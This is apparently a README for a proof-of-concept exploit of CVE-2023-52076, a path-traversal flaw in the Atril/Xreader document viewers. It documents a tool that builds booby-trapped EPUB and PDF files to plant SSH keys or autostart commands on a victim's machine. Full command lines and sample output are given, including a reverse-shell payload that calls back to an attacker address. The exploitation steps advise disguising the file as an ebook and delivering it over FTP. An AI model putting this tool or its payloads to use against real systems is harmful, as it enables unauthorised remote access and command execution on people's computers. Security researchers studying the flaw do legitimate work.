Share
## https://sploitus.com/exploit?id=0B9ACC9D-5DCB-5F9B-AE7A-4A7859E790A3
# CVE-2023-52076-PoC
Proof-of-concept for [**CVE-2023-52076**](https://nvd.nist.gov/vuln/detail/CVE-2023-52076), a critical path traversal and arbitrary file write vulnerability in **Atril/Xreader** document viewers affecting MATE Desktop environments.
The script generates a crafted EPUB payload with zip-slip paths targeting either SSH configuration or autostart desktop entries, allowing remote command execution on targeted systems.
## What It Does
1. Supports two exploitation modes: SSH key injection or autostart RCE.
2. Generates RSA keypair (SSH mode only).
3. Builds a valid EPUB with embedded zip-slip paths targeting vulnerable extraction.
4. Writes payload into 5-9 traversal path variants using `/proc/self/cwd` gadgets.
5. Creates `.epub` and `.pdf` copies (both trigger the vulnerability).
6. Validates the payload structure and verifies all entries.
7. Optionally uploads the payload through anonymous FTP.
## Requirements
```bash
Python 3.8+
ssh-keygen in PATH (SSH mode only)
```
Install dependencies:
```bash
pip install -r requirements.txt
```
## Quick Start
### SSH Mode (Recommended)
Generate SSH payload locally:
```bash
python3 cve_2023_52076.py --mode ssh
```
### Autostart Mode
Generate autostart RCE payload with custom command:
```bash
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"
```
## Full Example
### SSH Mode with FTP Upload
```bash
python3 cve_2023_52076.py \
--mode ssh \
--name slippy-ssh \
--key ./keys/atril_rsa \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
```
Example output:
```
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub
[+] Payload ready
Mode: SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key: ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB: ./payloads/slippy-ssh.epub
PDF copy: ./payloads/slippy-ssh.pdf
[+] SSH login remains manual:
ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes @
```
### Autostart Mode with FTP Upload
```bash
python3 cve_2023_52076.py \
--mode autostart \
--command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
--name slippy-rce \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
```
Example output:
```
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.
[+] Payload ready
Mode: Autostart (.desktop RCE)
Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB: ./payloads/slippy-rce.epub
PDF copy: ./payloads/slippy-rce.pdf
[+] Victim must logout/login for autostart to trigger
```
## Optional Flags
```bash
--mode {ssh,autostart}
Payload mode. Default: ssh
ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
autostart: Create .desktop RCE in autostart (triggers on next logout/login).
--command
Payload command for --mode autostart. Required if --mode autostart.
Example: --command "id > /tmp/pwned.txt"
--name
Local payload basename. Default: base-clean
--key
Private key path (SSH mode only). Default: slippy_rsa
--key-bits
RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072
--output-dir
Output directory for .epub/.pdf. Default: output
--upload
Upload the payload to FTP after generating.
--host
FTP target host or IP. Required if --upload is set.
--port
FTP port. Default: 21
--ftp-dir
Remote FTP directory, e.g. pub.
--remote-name
Remote EPUB filename. Default: ludwig.epub
--upload-pdf
Upload the .pdf copy instead of the .epub.
--force
Replace existing output and key files.
--timeout
FTP connection timeout. Default: 10.0
--only-final
Hide progress logs and print only the final summary.
--no-color
Disable ANSI colors.
--debug
Print executed subprocess commands (ssh-keygen).
```
## Exploitation Flow
### SSH Mode
1. **Generate Payload**: Script creates EPUB with public key in authorized_keys paths.
2. **Social Engineering**: Send EPUB/PDF to target (disguise as ebook).
3. **Victim Opens File**: Atril/Xreader extracts EPUB contents.
4. **Path Traversal**: Vulnerable code writes public key to `~/.ssh/authorized_keys`.
5. **SSH Access**: Attacker connects using private key.
### Autostart Mode
1. **Generate Payload**: Script creates EPUB with .desktop entry in autostart paths.
2. **Social Engineering**: Send EPUB/PDF to target.
3. **Victim Opens File**: Atril/Xreader extracts EPUB contents.
4. **Path Traversal**: Vulnerable code writes .desktop to `~/.config/autostart/`.
5. **Trigger**: On next logout/login, the `.desktop` file auto-executes the command.
## Key Points
- **No username required**: `/proc/self/cwd` gadget resolves at extraction time.
- **Multiple path variants**: 9 paths for SSH, 5 for autostart, maximizes success across directory depths.
- **No file overwrite**: Creates new files only (respects CVE limitation).
- **Offline mode**: Generate payloads without FTP delivery (use `--upload` only when needed).
- **Flexible commands**: Autostart mode supports any bash command.
- **SSH mode is immediate**: No victim interaction after file opens.
- **Autostart requires re-login**: Victim must logout/login for RCE to trigger.
## Notes
- Affected versions: Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2.
- Tested on: Kali Linux, Parrot OS, Ubuntu-Mate, Xubuntu.
- Requires victim to open the crafted document in vulnerable viewer.
- Works offline; no network callback to attacker during exploitation.
- Best practice: deliver via FTP (`--upload`) to avoid direct hosting.
## Legal
This PoC is intended for **authorized security testing**, lab environments, and vulnerability verification.
Do not use it against systems without explicit permission.